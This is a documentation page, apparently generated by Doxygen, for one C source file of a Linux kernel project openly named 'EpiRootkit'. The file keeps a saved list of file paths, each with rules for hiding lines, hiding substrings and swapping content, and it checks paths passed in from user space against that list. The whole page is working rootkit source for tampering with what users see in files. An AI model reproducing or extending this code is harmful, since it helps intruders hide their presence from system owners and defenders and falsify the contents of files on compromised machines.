EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
alterate_api.c
Go to the documentation of this file.
1#include "alterate_api.h"
2
3#include "config.h"
4#include "ulist.h"
5
7
8int alterate_init(void) {
9 int ret;
10
12 ret = ulist_load(&alt_list);
13 if (ret < 0)
14 return ret;
15 return SUCCESS;
16}
17
22
23int alterate_add(const char *path, int hide_line, const char *hide_substr,
24 const char *src, const char *dst) {
25 int ret;
26 char payload[512];
27 char modpath[256];
28
29 if (strcmp(path, "/") == 0)
30 return -EINVAL;
31
32 if (strlen(path) >= sizeof(modpath))
33 return -ENAMETOOLONG;
34 strscpy(modpath, path, sizeof(modpath));
35
36 size_t len = strlen(modpath);
37 if (len > 1 && modpath[len - 1] == '/') {
38 modpath[len - 1] = '\0';
39 }
40
41 scnprintf(payload, sizeof(payload), "%d:%s:%s:%s", hide_line,
42 hide_substr ?: "", src ?: "", dst ?: "");
43
44 ret = ulist_add(&alt_list, modpath, 0, payload);
45 if (ret < 0)
46 return ret;
47
48 ret = ulist_save(&alt_list);
49 if (ret < 0)
50 return ret;
51
52 return SUCCESS;
53}
54
55int alterate_remove(const char *path) {
56 int ret;
57
58 ret = ulist_remove(&alt_list, path);
59 if (ret)
60 return ret;
61
62 ret = ulist_save(&alt_list);
63 if (ret < 0)
64 return ret;
65
66 return SUCCESS;
67}
68
69int alterate_contains(const char __user *u_path) {
70 char *k_path;
71 long n;
72 int blocked = 0;
73
74 if (!u_path)
75 return 0;
76
77 k_path = kmalloc(PATH_MAX, GFP_KERNEL);
78 if (!k_path)
79 return 0;
80
81 n = strncpy_from_user(k_path, u_path, PATH_MAX);
82 if (n <= 0) {
83 kfree(k_path);
84 return blocked;
85 }
86
87 if (n == PATH_MAX)
88 k_path[PATH_MAX - 1] = '\0';
89
90 blocked = ulist_contains(&alt_list, k_path);
91
92 kfree(k_path);
93 return blocked;
94}
95
96int alterate_list_get(char *buf, size_t buf_size) {
97 return ulist_list(&alt_list, buf, buf_size);
98}
int alterate_init(void)
Definition alterate_api.c:8
int alterate_contains(const char __user *u_path)
int alterate_add(const char *path, int hide_line, const char *hide_substr, const char *src, const char *dst)
int alterate_remove(const char *path)
void alterate_exit(void)
struct ulist alt_list
Definition alterate_api.c:6
int alterate_list_get(char *buf, size_t buf_size)
#define ALTERATE_CFG_FILE
Definition config.h:63
#define SUCCESS
Definition config.h:5
Definition ulist.h:15
int ulist_add(struct ulist *ul, const char *value, u32 flags, const char *payload)
Definition ulist.c:208
void ulist_clear(struct ulist *ul)
Definition ulist.c:39
int ulist_load(struct ulist *ul)
Definition ulist.c:58
int ulist_list(struct ulist *ul, char *buf, size_t buf_size)
Definition ulist.c:282
int ulist_save(struct ulist *ul)
Definition ulist.c:169
int ulist_remove(struct ulist *ul, const char *value)
Definition ulist.c:236
int ulist_contains(struct ulist *ul, const char *value)
Definition ulist.c:258
static void ulist_init(struct ulist *ul, const char *fname)
Definition ulist.h:21